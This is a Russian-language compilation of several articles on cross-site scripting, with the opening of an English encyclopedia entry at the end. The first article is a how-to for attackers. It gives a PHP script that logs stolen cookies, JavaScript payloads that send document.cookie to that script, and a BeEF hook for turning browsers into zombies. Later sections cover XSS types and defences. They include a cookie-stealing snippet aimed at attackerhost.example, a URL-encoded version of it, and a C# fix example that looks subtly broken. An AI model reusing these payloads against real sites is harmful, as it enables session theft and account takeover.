
Как злоумышленник может украсть файлы куки?

На первый взгляд, что кража файлов куки – это сложная и кропотливая работа. На самом деле для успешного хищения файлов куки необходимы лишь общие навыки программирования и понимание XSS уязвимости.

Для демонстрации мы создадим сценарий collect_cookie.php на языке PHP, который будет размещен на сервере любой компании, предоставляющей хостинг. После этого будет внедрен код на языке JavaScript, который будет похищать файлы куки и передавать их на наш сайт. Когда php-файл получит данные, он сохранит их в файл stolen_cookies.txt.

Чтобы похитить файлы куки необходимо наличие трех составляющих:

• PHP-скрипт, который будет получать данные
• JavaScript-код, который будет воровать куки и отправлять их на наш сайт
• Компанию, предоставляющую веб-хостинг, чтобы разместить PHP-скрипт

Первая составляющая: скрипт collect_cookie.php

Ниже приведен PHP-скрипт, который будет использован для сбора файлов куки и их запись в файл stolen_cookie.txt

<?php
$collectedCookie=$HTTP_GET_VARS[«cookie»];
$date=date(«l ds of F Y h:i:s A»);
$user_agent=$_SERVER[‘HTTP_USER_AGENT’];
$file=fopen(‘stolen_cookie.txt’,’a’);
fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie n»);
fclose($file);
echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a
href=»http://www.google.com/»>здесь</a>, чтобы перейти на предыдущую страницу’;
?>

Разберемся, что делает данный скрипт:

$collectedCookie=$HTTP_GET_VARS[«cookie»];

В данной строке происходит сохранения значения переменной «cookies» из GET-запроса в переменную «collectedCookie»
$date=date(«l ds of F Y h:i:s A»);

Здесь происходит сохранение времени соединения, по нему можно определить время кражи cookies.

$user_agent=$_SERVER[‘HTTP_USER_AGENT’];

Сохранение user_agent жертвы для осуществления будущих атак, если они потребуются.

$file=fopen(‘stolen_cookie.txt’,’a’);

В этой строке происходит создание файла stolen_cookie.txt, в котором будут храниться похищенные данные.

fwrite($file,»DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie n»);

Сохранение данных в следующем формате: (“ДАТА: || USER AGENT || COOKIE”)

fclose($file);

Закрытие файла

Вторая составляющая: JavaScript-код

Ниже приведен JavaScript-код, который необходимо выполнить в браузере пользователя. Можно внедрить любой из нижеприведенных сценариев:

<a onclick=»document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);» href=»#»>Click here for Details</a>

Данный скрипт требует реакции пользователя, поскольку выводит на экран ссылку на наш сайт. Если пользователь нажмет на показанную ему ссылку, то он попадет на наш сайт и его файлы куки будут украдены.

<iframe width=’0′ height=’0′ frameborder=’0′
src='<script>document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);</script>’ />

Этот скрипт не требует никаких действий со стороны пользователя. Во втором случае на сайт жертвы внедряется скрытый IFrame, невидимый для глаз пользователя.

В итоге украденные файлы куки окажутся в файле stolen_cookie.txt. По ссылке ниже доступно видео, демонстрирующие как можно украсть файлы куки: http://www.youtube.com/watch?v=ZeLyJnhz4ak

Что такое BeEF?

BeEF (сокращение от Browser Exploitation Framework) – платформа для эксплуатации браузеров. BeEF используется для разнообразных атак на компьютеры пользователей с целью их захвата. Наличие этого инструмента значительно облегчает работу, поскольку многие рутинные операции уже автоматизированы.

Поскольку операция захвата компьютера-зомби автоматизирована, с помощью приложения beef (Browser Exploitation Framework) можно захватывать множество компьютеров-зомби (так называют компьютеры, которые находятся внутри ботнета).

На официальном сайте проекта BeEF содержится следующее описание программы: «Browser Exploitation Framework (BeEF) – это мощная профессиональная утилита. В BeEF реализованы последние методы атак, которые используют специалисты в области тестов на проникновение с богатым практическим опытом атак на клиентские приложения. В отличие от остальных платформ безопасности, BeEF ориентирован на эксплуатацию уязвимостей в браузерах для получения контроля над компьютером. Данный проект разрабатывается исключительно для легальных исследований и тестов на проникновение.»

Вы можете загрузить BeEF с сайта проекта http://beefproject.com.

Как использовать BeEF?

BeEF устанавливается по умолчанию вместе с дистрибутивом BackTrack 5 R2. Вы можете загрузить BackTrack 5 R2 с официального сайта http://www.backtrack-linux.org/downloads/. Чтобы открыть и настроить BeEF, необходимо нажать на кнопку главного меню, а затем перейти Backtrack -> Exploitation Tools -> Social Engineering Tools->BeEF XSS Framework->{Beef OR beef-NG}.

После запуска beef-ng на экране отобразиться консоль приложения:

Теперь Вы можете открыть панель управления BeEF, перейдя по ссылке и используя «beef»/«beef» в качестве логина и пароля.

Необходимо поместить JavaScript-код на сервер или клиент жертвы, чтобы захватить компьютер-зомби. Код выглядит следующим образом:

<script type=”text/javascript” src=”http://127.0.0.1:3000/hook.js”></script>

Ниже можно увидеть список захваченных компьютеров зомби и их статус присутствия в сети.

Обратите внимание на вкладку Commands

Как можно увидеть, существует довольно много эксплоитов, которые можно использовать. Например, можно выбрать модуль misc->alert dialog. Вы можете выбрать такой модуль, какой захотите.

Ниже виден результат. Как мы и ожидали, скрипт выполнился, и появилось окошко с предупреждением.

Как вы видите, процесс полностью автоматизирован. Вам только нужно настроить и запустить модуль. Интеграция beef и metasploit заслуживает отдельного внимания. На вкладке Command Вы можете увидеть модуль metasploit. Зайдите туда и посмотрите, насколько богатый функционал предоставляет модуль metasploit. Вы увидите страницу, на которой можно будет выбрать любой эксплоит из набора metasploit и любую настраиваемую полезную нагрузку.

Дополнительная информация о beef расположена по адресу: https://github.com/beefproject/beef/wiki

Заключение

Как мы убедились, наш JavaScript-код был выполнен. Таким же образом могут выполняться и вредоносные коды, которые распространены в интернете. BeEF дает атакующему огромное количество информации, которую можно сохранять и использовать в дальнейших атаках, для получения удаленного доступа.

Мы надеемся, что приведенная информация окажется для вас полезной, в будущем мы предоставим еще много полезного материала для изучения.

XSS (Cross-Site Scripting — межсайтовый скриптинг) — распространенный тип веб-атаки, заключающийся во внедрении на страницу сайта или приложения вредоносного кода. Когда пользователь открывает пораженную страницу, внедренный скрипт взаимодействует с удаленным сервером злоумышленника.

Для обозначения межсайтового скриптинга выбрано сокращение XSS (X-Site Scripting) — это сделано для того, чтобы избежать путаницы с таблицами стилей, которые также имеют сокращение CSS. На сегодняшний день XSS является третьим по значимости видом рисков для веб-приложений. Его основная опасность заключается в том, что на веб-страницах содержится много пользовательских или иных уязвимых данных. Злоумышленник может использовать их для доступа к платежным картам, компьютерам пользователей и т.д.

Один из механизмов обеспечения безопасности в интернете — правило ограничения домена. Оно означает, что сценарии на одном сайте могут без ограничений взаимодействовать друг с другом, но не со сценариями на другом веб-ресурсе. Иначе говоря, вредоносный код на одном сайте не сможет навредить другому сайту или его пользователям из-за ограничения доступа на другом домене.

Но это в идеале, а на практике у веб-приложений и сайтов есть множество уязвимостей. Воспользовавшись ими, злоумышленник может взломать ресурс и внедрить на него вредоносный скрипт. При этом он будет восприниматься как часть родного кода, написанного разработчиком, — то есть «зараженный» ресурс в глазах браузера пользователя остается заслуживающим доверия источником. Таким образом, ресурс, на котором размещается вредоносный скрипт, становится соучастником атаки.

Для самого сервера, на котором размещается «зараженный» ресурс, XSS опасности, как правило, не представляет. Основную угрозу он несет пользовательским данным, которые часто размещаются на страницах сайта или веб-приложения. Однако с помощью межсайтового скриптинга злоумышленник может получить доступ к данным администратора, дающим контроль над контентом и панелью управления.

XSS-уязвимость — это брешь в защите сайта или веб-приложения, через которую злоумышленник может внедрить вредоносный код. Изначально основным языком, на котором создаются такие скрипты, был JavaScript. Однако теоретически для XSS-атаки можно использовать HTML, Flash и т.д. Главное, чтобы они исполнялись браузером жертвы.

Основная классификация XSS-уязвимостей выглядит следующим образом:

• Хранимые (постоянные). Такие уязвимости возникают, когда злоумышленнику удается получить доступ к серверу и сохранить на нем вредоносный код. Такой сохраненный скрипт будет активироваться каждый раз, когда пользователь заходит на зараженную страницу. Часто хранимые XSS-уязвимости можно найти на различных форумах, а также в соцсетях, имиджбордах, блогах и других представителях Веб 2.0. Для их внедрения на ресурс злоумышленники могут использовать обычный текст (например, в виде комментариев), рисунки, гифки и другой размещаемый контент.
• Отраженные (непостоянные). Это наиболее распространенный сегодня тип XSS-атак. Их смысл в том, что злоумышленник прячет вредоносный код в заранее подготовленной ссылке, которую потом передает пользователям-жертвам в почтовой рассылке или размещает на веб-странице. Когда пользователь переходит по зараженной ссылке, серверные скрипты исполняют ее код без обработки и возвращают его в виде ответа. Браузер пользователя исполняет зараженный скрипт, а злоумышленник получает cookies жертвы.
• DOM-модель. Суть этой уязвимости — в использовании злоумышленником Document Object Model, объектной модели документа. Это программный интерфейс, дающий программам и сценариям доступ к контенту HTML-, XHTML- и XML-документов и возможность этим содержанием (а также структурой и оформлением) управлять. XSS-уязвимости на основе DOM-модели могут быть как отраженными, так и хранимыми. Их главная особенность — сама страница сайта или веб-приложения не меняется, но меняется ее отображение в браузере пользователя из-за вредоносных модификаций DOM.

Также XSS-уязвимости различаются по степени активности:

• Активные. Такие уязвимости действуют сами независимо от активности пользователя. То есть, как только пользователь-жертва попадает на зараженную страницу, вредоносный скрипт запускается автоматически. Например, такие уязвимости встраиваются в базы данных или исполняемые файлы на сервере, в формы ввода (с помощью автоматических обработчиков событий) и т.д.
• Пассивные. В этом случае для активации вредоносного кода пользователь-жертва должен совершить какое-то действие: ввести запрос, кликнуть ссылку. Чтобы это произошло, злоумышленник должен как-то его заставить, спровоцировать или замотивировать. Здесь в ход идут методы социальной инженерии — например, фишинг.

Основной способ внедрения вредоносного кода на сайт или в веб-приложение — через интерактивные элементы сайта. Например, его можно разместить в строке поиска, форме обратной связи или авторизации, поле для публикации комментария. Это доступные и самые простые «точки входа» для злоумышленника, который по своей сути изначально является одним из посетителей ресурса.

Для внедрения вредоносного скрипта злоумышленник может использовать следующие каналы или векторы атаки, то есть точки проникновения в защиту сайта или веб-приложения.

Ошибки в браузере. Это уязвимости самих браузерных программ, которыми пользуются посетители сайтов. Типичный пример — выполнение сценариев на языке SVG, которое позволяет обойти правило ограниченного домена. Как правило, такие серьезные ошибки быстро устраняются разработчиками браузеров. Однако есть и более узкоспециализированные уязвимости, которые могут оставаться незамеченными годами. В таких случаях проще настроить защиту на самом сайте, чем ждать обновления браузерной программы.

Отсутствие экранирования. Одной из проблем современных браузеров является их неспособность отличить обычный текст от кода. То есть чтобы браузерная программа распознала и выполнила код HTML, он должен быть размечен тегами. Соответственно, Java-скрипты должны помещаться между тегами <script>, CSS-стили — между CSS и т.д.

Но если браузер воспринимает размеченный соответствующим образом текст как код, то он начинает исполнять и аналогично оформленный текст, размещенный на сайте сторонними пользователями, среди которых может быть и злоумышленник. Типичной целью являются поля, в которых размещаются комментарии. Чтобы браузер воспринимал текст от пользователей как обычный текст (даже если он размечен как код), предварительно настраивается его экранирование — например, автоматическая замена спецсимволов, используемых в языках разметки и программирования, на «аналоги», которые не учитываются браузером.

К сожалению, экранирование присутствует на сайтах и в веб-приложениях не всегда, и причин может быть несколько:

• Программист элементарно забывает настроить экранирование во всех интерактивных формах на сайте, особенно если ресурс большой.
• Разные страницы и разделы сайта создаются разными специалистами и в разное время, что еще больше увеличивает вероятность ошибки.
• Уязвимость допущена в коде библиотеки или фреймворка, который используется разработчиком при создании или доработке сайта.

Подмена кодировки в заголовке страницы. Современные браузеры определяют кодировку прямо по ходу обработки страницы. Кодировка отображается в теге <meta>, и если тег <title> расположен до него, то сначала браузерная программа прочитает и обработает заголовок, а уже потом определит, какая кодировка используется на сайте. Соответственно, у злоумышленника появляется возможность обойти фильтрацию служебных символов < и “, разместив в тайтле вредоносный код, закодированный в UTF-7.

SiXSS (межсайтовый скриптинг при наличии SQL-инъекции). Это комбинированный тип атаки, задействующий базу данных сайта. Работает это следующим образом. С помощью SQL-инъекции злоумышленник внедряет вредоносный код в одну из страниц БД. Если на сайте отсутствует экранирование при выводе содержимого базы данных, то при доступе к «отравленной» строке БД вредоносный скрипт попадает в браузер пользователя.

Перечисленные векторы атаки — самые распространенные. На практике способов, которыми злоумышленники могут внедрить код на сайт или в веб-приложение, гораздо больше. Какие-то из них работают на всех типах ресурсов, другие отличаются узкой специализацией. Такое разнообразие приводит к тому, что гарантированной и 100-процентной защиты от XSS-угроз не существует.

Сами XSS-уязвимости опасности для самого ресурса или его пользователей не представляют. Угрозу несут именно атаки, для которых эти бреши в обороне являются «точками входа». С помощью XSS-атаки можно нанести ресурсу и его пользователям разнообразный вред.

Кража пользовательских данных. Сайты и приложения, на которых предусмотрена авторизация пользователей, отличают авторизованного посетителя от неавторизованного с помощью специального cookie-файла (сессионной cookie). Этот файл будет видеть только авторизованный посетитель, а еще — любой JavaScript-код, исполняемый его браузером (в том числе и помещенный на страницу злоумышленником). Прочитав сессионную cookie жертвы, вредоносный скрипт через AJAX-запрос передает данные авторизации на удаленный сервер, предварительно созданный злоумышленником. Там эта информация заносится в базу данных, и хакеру остается только вычленить ее из параметров URL. Это дает злоумышленнику следующие возможности:

• похитить конфиденциальные данные пользователя: историю посещений, информацию по платежным картам, личную переписку и т.д.;
• использовать аккаунт пользователя-жертвы для рассылки спама, угроз и другого противоправного контента, публикации комментариев с противозаконным или компрометирующим содержанием;
• рассылать вредоносные программы другим пользователям, особенно тем, у кого пользователь-жертва пользовался доверием;
• получить бесплатный доступ к платному контенту: учебным курсам, мультимедийному контенту и т.д.

Доступ к управлению сайтом. Злоумышленник может завладеть не только данными авторизованных пользователей, но и правами администратора сайта/веб-приложения. В этом случае он получает доступ к панели управления ресурсом и может контролировать его содержание, структуру, оформление. Такие возможности позволяют злоумышленнику:

• получить авторизационные данные любого зарегистрированного на сайте пользователя;
• испортить функционал и/или оформление сайта с целью его дискредитации в глазах настоящих или потенциальных посетителей;
• разместить на ресурсе посторонний, противозаконный или компрометирующий контент, внести изменения в уже имеющееся содержание (пресс-релизы, статьи, описания товаров и т.д.);
• взломать корпоративную базу данных для получения конфиденциальной информации (секретных технологий, сведений о коммерческой деятельности и т.д.).

Опасность не ограничивается лишь потерей или кражей данных, репутационными издержками — последствия могут быть куда серьезнее. Например, если злоумышленник получает на сайте фармацевтической компании доступ к описанию лекарства, он может изменить информацию по дозировке сильнодействующего лекарства. Как результат — массовые интоксикации с тяжелыми последствиями вплоть до летальных исходов.

Чтобы защититься от межсайтового скриптинга, необходимо сначала выявить на сайте или в веб-приложении возможные уязвимости для атак этого типа. Сделать это можно двумя способами.

Автоматически. Для поиска уязвимостей существуют специальные сервисы, с помощью которых анализируются все страницы, на которых присутствуют интерактивные элементы: формы обратной связи и оформления заказов, поисковая строка, поля для публикации комментариев и т.д. Пример такого ресурса — http://xss-scanner.com/. Стоит учитывать, что возможности любого такого сервиса ограничены, поэтому для максимально объективной оценки уязвимостей лучше проверять сайт на нескольких ресурсах. Тем не менее автоматизированные сервисы серьезно упрощают работу, особенно если анализируемый сайт имеет сложную структуру или большое количество внутренних страниц.

Вручную. Такой способ требует больших затрат времени и сил, зато более надежен (если проводится грамотным специалистом). Здесь алгоритм такой же: проверяется каждая страница сайта с интерактивными элементами, которые используются посетителями для ввода данных. Например, с помощью скрипта <script>alert(123)</script>. Если его ввести в интерактивное поле для размещения запроса или текста, то при отсутствии защиты появится такое уведомление:

Ручная проверка по понятным причинам не очень эффективна на крупных сайтах, зато вполне применима на небольших ресурсах или одностраничниках.

Когда уязвимости найдены, можно приступать непосредственно к защите от угроз. Для этого рекомендуется:

• настроить фильтрацию и экранизацию входных параметров, то есть информации, вводимой пользователем через интерактивные поля и формы;
• настроить автоматическую замену спецсимволов, чтобы четко отделить пользовательский текст от исполняемого кода;
• на каждой странице сайта разместить кодировку перед какими-либо пользовательскими полями;
• установить ограничения домена и путей приема cookie-файлов с помощью SSL или параметра HttpOnly;
• регулярно проверять сайт или веб-приложение на уязвимости такими инструментами, как Nessus, Nikto Web Scanner и т.д.;
• задать список желательных источников для загрузки контента с помощью заголовка Content Security Policy;
• регулярно обновлять браузер до актуальной версии и использовать расширения для проверки URL, скриптов, интерактивных форм и других потенциальных источников угроз.

Практика показывает, что на 100% от XSS-атак не защищен ни один ресурс или браузер. В ответ на появление новых средств защиты злоумышленники разрабатывают новые пути их обхода. Однако использование актуальных способов цифровой гигиены и обычная бдительность позволяют снизить риск межсайтового скриптинга до приемлемого минимума.

XSS (межсайтовый скриптинг) – одна из разновидностей атак на веб-системы, которая подразумевает внедрение вредоносного кода на определенную страницу сайта и взаимодействие этого кода с удаленным сервером злоумышленников при открытии страницы пользователем.

Термин с английского расшифровывается как Cross-Site Scripting, но при этом получил аббревиатуру XSS, чтобы не было путаницы с CSS (каскадные таблицы стилей).

Как работает межсайтовый скриптинг

Основная цель межсайтового скриптинга – кража cookies пользователей при помощи встроенного на сервере скрипта с дальнейшей выборкой необходимых данных и использованием их для последующих атак и взломов. Злоумышленник осуществляет атаку пользователей не напрямую, а с использованием уязвимостей веб-сайта, который посещают жертвы, и внедряет специальный JavaScript. В браузере у пользователей этот код отображается как единая часть сайта. При этом посещаемый ресурс по факту является соучастником XSS-атаки.

Если сравнивать с SQL-инъекциями, то XSS безопасен для сервера, но несет угрозу для пользователей зараженного ресурса или страницы. Однако, если к злоумышленнику попадут cookies администратора, можно получить доступ к панели управления сайтом и его содержимому.

Методика атаки через XSS

Запуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).

Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:

<script>alert(«cookie: «+document.cookie)</script>

Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, WordPress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.

Еще один возможный вариант поиска – использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: https://site.ru/catalog?p=8

В адресной строке вместо идентификатора (8) добавляем скрипт – «><script>alert(«cookie: «+document.cookie)</script>, в результате чего получаем ссылку такого вида: https://site.ru/catalog?p=&quot;&gt;&lt;script&gt;alert(&quot;cookie: «+document.cookie)</script>.

Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.

Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.

Общая классификация XSS

Четкой классификации для межсайтового скриптинга не существует, но экспертами по всему миру выделено три основных типа.

Хранимые XSS (постоянные). Один из самых опасных типов уязвимостей, так как позволяет злоумышленнику получить доступ к серверу и уже с него управлять вредоносным кодом (удалять, модифицировать). Каждый раз при обращении к сайту выполняется заранее загруженный код, работающий в автоматическом режиме. В основном таким уязвимостям подвержены форумы, порталы, блоги, где присутствует возможность комментирования в HTML без ограничений. Вредоносные скрипты с легкостью могут быть встроены как в текст, так и в картинки, рисунки.

Отраженные XSS (непостоянные). В этом случае вредоносная строчка выступает в роли запроса жертвы к зараженному веб-сайту. Работает этот принцип по следующей схеме:

1. Злоумышленник заранее создает URL-ссылку, которая будет содержать вредоносный код и отправляет его своей жертве.
2. Она направляет этот URL-запрос на сайт (переходит по ссылке).
3. Сайт автоматически берет данные из вредоносной строки и подставляет в виде модифицированного URL-ответа жертве.
4. В итоге в браузере у жертвы выполняется вредоносный скрипт, который и содержится в ответе, а злоумышленник получает все cookies этого пользователя.

DOM-модели. В этом варианте возможно использование как хранимых XSS, так и отраженных. Суть заключается в следующем:

1. Злоумышленник создает URL-адрес, который заранее содержит вредоносный код, и отправляет его по электронной почте или любым другим способом пользователю.
2. Человек переходит по этой ссылке, зараженный сайт принимает запрос, исключая вредоносную строку.
3. На странице у пользователя выполняется сценарий, в результате чего загружается вредоносный скрипт и злоумышленник получает cookies.

Виды XSS по способу взаимодействия

Так как основная цель злоумышленника – запустить вредоносный скрипт на компьютере жертвы, существует еще и два основных типа XSS-атак по способу взаимодействия.

Пассивные. От жертвы требуется определенное действие, чтобы вызвать обработчик событий и запустить вредоносный скрипт в установленной форме. Для этого используется социальная инженерия, например отправка электронного письма с призывом перейти по ссылке и нажать на определенную область на сайте. Как только пользователь наведет на нужный объект и кликнет по нему, запустится вредоносный скрипт. Если же жертва бездействует, код не будет активирован.

Активные. Злоумышленнику не нужно заманивать жертву по специальным ссылкам, так как код встраивается в базах данных или в каком-нибудь исполняемом файле на сервере. От пользователя не требуется никакой активности. У форм ввода, как правило, установлен специальный обработчик событий, автоматически активирующийся при попадании на эту страничку. В итоге все пользователи, перешедшие по этой ссылке, станут жертвами злоумышленника.

Как проверить сайт на наличие уязвимостей XSS и защитить его

Для быстрой проверки сайта на наличие уязвимостей XSS можно воспользоваться специализированными сервисами, которые в автоматическом режиме проведут сканирование страницы. В обязательном порядке нужно проверять все URL, где возможна отправка данных со стороны пользователя (формы комментариев, обратная связь, поиск). В качестве примера можете использовать https://xss-scanner.com, но не стоит ограничиваться лишь одним инструментом.

Подобные сервисы не дают полной гарантии успеха, поэтому рекомендуем проверять найденные страницы в ручном режиме и обязательно исключить все опасные спецсимволы, заменив их безопасными. Речь идет о скобках < и >, в которых и прописываются все зарезервированные языком html-запросы и теги.

Например, для быстрой фильтрации и автоматической замены спецсимволов < и > вы можете использовать следующий код на сайте:

$filter = array(«<«, «>»);

$_GET[‘q’]=str_replace ($filter, «|», $_GET[‘q’]).

Несколько советов по предотвращению использования XSS на вашем сайте:

1. Если на вашем сайте включен пользовательский ввод, должно выполняться кодирование.
2. Если кодирование невозможно или неуместно в некоторых ситуациях, заменяйте его или дополняйте валидацией.
3. Безопасная обработка данных должна выполняться в коде не только на стороне вашего web-сервера, но и на стороне пользователя (клиента).
4. Если используете популярные CMS, например WordPress, Bitrix, Joomla, регулярно обновляйте версии движка и всех установленных модулей и плагинов. По умолчанию большинство самых распространенных систем для управления сайтов защищены от использования XSS, а вот сторонние плагины из непроверенных источников могут содержать уязвимости.

• Классификация XSS по вектору атаки
• Классификация XSS по способу воздействия
• Пример XSS уязвимости
• Дополнительные ссылки

XSS (межсайтовый скриптинг) – это один из видов атаки на веб-приложения: в выдаваемую страницу внедряется вредоносный код, который взаимодействует с веб-сервером злоумышленника. Вредоносный код может быть внедрен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя. При открытии страницы в браузере пользователя внедрённый код выполнится и, например, может похитить конфиденциальные данные пользователя, хранящиеся в браузере или на странице.

XSS подразделяются на несколько подвидов по вектору атаки и способу воздействия.

Классификация XSS по вектору атаки

• Отраженные XSS (непостоянные). При данном типе атаки вредоносный скрипт попадает на страницу (чаще всего в параметрах HTTP-запроса или через HTML-формы) и выполняется при открытии страницы из-за отсутствия надлежащей обработки.
• Хранимые XSS (постоянные). Данный вид XSS является более опасным, чем отражённый. При данном типе XSS злоумышленник внедряет вредоносный код на сервер. Чаще всего данные с вредоносным кодом сохраняются в базу данных и используются на странице. В результате каждый раз при отображении страницы в браузере выполняется внедрённый код.
• XSS в DOM-модели. В данном типе вредоносный код внедряется при выполнении JavaScript скрипта в браузере пользователя и изменяет DOM атакуемого сайта, благодаря чему внедренный код выполняется в контексте сайта.

Классификация XSS по способу воздействия

• Активные XSS. Для выполнения внедрённого вредоносного скрипта от пользователя не требуется никаких действий, кроме открытия страницы.
• Пассивные XSS. Для выполнения внедрённого вредоносного скрипта, кроме открытия страницы в браузере, от пользователя требуются дополнительные действия, например наведение мышки на элемент HTML-страницы или клик по нему.

Пример XSS уязвимости

protected void Page_Load(object sender, EventArgs e)
{
  Response.Cookies.Add(new HttpCookie("User_Cookie_Key", 
                                      "User_Cookie_Value"));

  const string CenterAlignFormat = "<p style='text-align: center'>{0}</p>";

  var userName = Request.Params["userName"];                          //<=
  
  string message;
  if (string.IsNullOrWhiteSpace(userName))
  {
    message = string.Format(CenterAlignFormat, 
                            "Empty 'userName' parameter");
  }
  else
  {
    message = string.Format(CenterAlignFormat, 
                            $"'{userName}' data has been processed.");
  }
  
  Response.Write(message);                                            //<=
}

Предупреждение PVS-Studio: V5610 Possible XSS vulnerability. Potentially tainted data in the ‘message’ variable might be used to execute a malicious script. Default.aspx.cs 61

Данные из параметра запроса userName напрямую (без дополнительной обработки) используются для записи в Response:

Благодаря этому злоумышленник может подсунуть пользователю ссылку с вредоносным кодом, который, например, украдёт cookie из браузера пользователя:

В примере выше cookie просто выводятся на экран в качестве демонстрации при помощи выражения alert(document.cookie). Однако ничего не мешает злоумышленнику отправить их на свой сервер. Воспользовавшись украденными cookie, злоумышленник может получить доступ к аккаунту пользователя, что позволит ему, например, украсть конфиденциальные данные или совершить вредоносные действия от имени пользователя.

Для исправления подобной XSS уязвимости нужно всего лишь кодировать HTML-сущности в сообщении перед записью в Response при помощи специального метода:

protected void Page_Load(object sender, EventArgs e)
{
  ....
  else
  {
    var encodedUserName = 
      System.Net.WebUtility.HtmlEncode(userName);
    message = string.Format(CenterAlignFormat,
                            $"'{encodedUserName}' data has been processed.");
  }
  Response.Write(encodedUserName);
}

В результате при открытии ссылки с вредоносным скриптом последний просто отобразится на странице, но не будет выполнен:

Дополнительные ссылки

• OWASP Top Ten 2017. A7:2017-Cross-Site Scripting (XSS)
• Классификация предупреждений PVS-Studio согласно OWASP Top 10 Web Application Security Risks
• V5610. Possible XSS vulnerability. Potentially tainted data might be used to execute a malicious script
• OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать

Межсайтовое выполнение сценариев (Cross-site Scripting или XSS) является методом нападения, который вынуждает веб-сайт выводить, подготовленный злоумышленником программный код, который загружается в браузере пользователя. Сам программный код обычно пишется на HTML/JavaScript, но может быть также перенесен в VBScript, ActiveX, Java, Flash, или на любую другую поддерживаемую браузерами технологию.

Когда злоумышленник добивается, чтобы браузер пользователя выполнил его программный код, то этот код будет запущен в безопасной среде сервера веб-сайта. С этим уровнем привилегий, программный код вполне способен прочитать, изменить или передать важные данные доступные браузеру. У «запрограммированного» пользователя может быть украдена его учетная запись (через кражу Ключика), его браузер может быть перенаправлен на другой адрес, или возможно показана фальсифицированная информация, выводимая веб-сайтом при посещении. Атака Межсайтовое Программирование по существу является компрометацией отношений между пользователем и веб-сайтом.

Атаку Межсайтовое Программирование можно разделить на два типа, постоянная и непостоянная. Непостоянная атака требует посещения пользователем, особенным образом подготовленной, ссылки, с «вшитым» в нее вредоносным кодом. При посещении такой ссылки, код, внедренный в URL, выведется и, соответственно, выполнится в веб-браузере пользователя. Постоянная атака происходит, когда вредоносный код добавляется на веб-сайт, где он сохраняется на некоторый период времени. Примерами излюбленных и часто используемых злоумышленниками мест для таких размещений являются — сообщения досок объявлений, сообщения веб-почты, и программное обеспечение для веб-чатов. При этом, от ничего неподозревающего пользователя, не требуется переходить ни по каким ссылкам, достаточно просто отобразить веб-страницу, содержащую этот программный код.

Пример

Постоянная атака

Многие веб-сайты в своих сервисах используют доски объявлений и форумы, где зарегистрированные пользователи могут оставлять свои сообщения. Зарегистрированный пользователь обычно отслеживается при помощи ключика с идентификатором сессии (session ID), дающим полномочия для размещения сообщений. Если злоумышленник разместил сообщение, содержащее особенным образом подготовленный JavaScript код, то когда пользователь прочитает такое сообщение его ключики и учетная запись снанут скомпрометированными.

Фрагмент кода похищения ключика
<SCRIPT>
document.location=’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie
</SCRIPT>

Непостоянная атака

Многие веб-порталы часто персонализируют внешний вид веб-сайта, приветствуя вошедшего в систему пользователя надписью вида «Добро пожаловать :». Иногда, данные такого обращения вошедшего в систему пользователя сохраняются и передаются внутри строки URL запроса и выводятся на экране.

Пример URL портала

http://portal.example/index.php?sessionid=12312312&username=Joe

В примере выше, имя пользователя «Joe» сохраняется в URL (в поле username). Выводимая веб-страница отображает приветствие «Добро пожаловать, Joe». Если злоумышленник изменил бы поле username в URL, вставив JavaScript для похищения Ключиков, то это сделало бы вероятным получение управления учетной записью пользователя, загружающего эту веб-страницу. У большого процента людей вызовет подозрение, если они увидят JavaScript внедренный в URL, поэтому зачастую злоумышленник будет кодировать URL вредоносного наполнения подобно примеру ниже:

URL кодирование примера URL-а для хищения ключиков

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Раскодирование примера URL-а для хищения Ключиков

http://portal.example/index.php?sessionid=12312312&username=<script>document.location=’http://attacker host.example/cgi-bin/cookiesteal.cgi?’+document.cookie</script>

Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007.^[1] XSS effects vary in
range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.

Background[edit]

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.^[2]

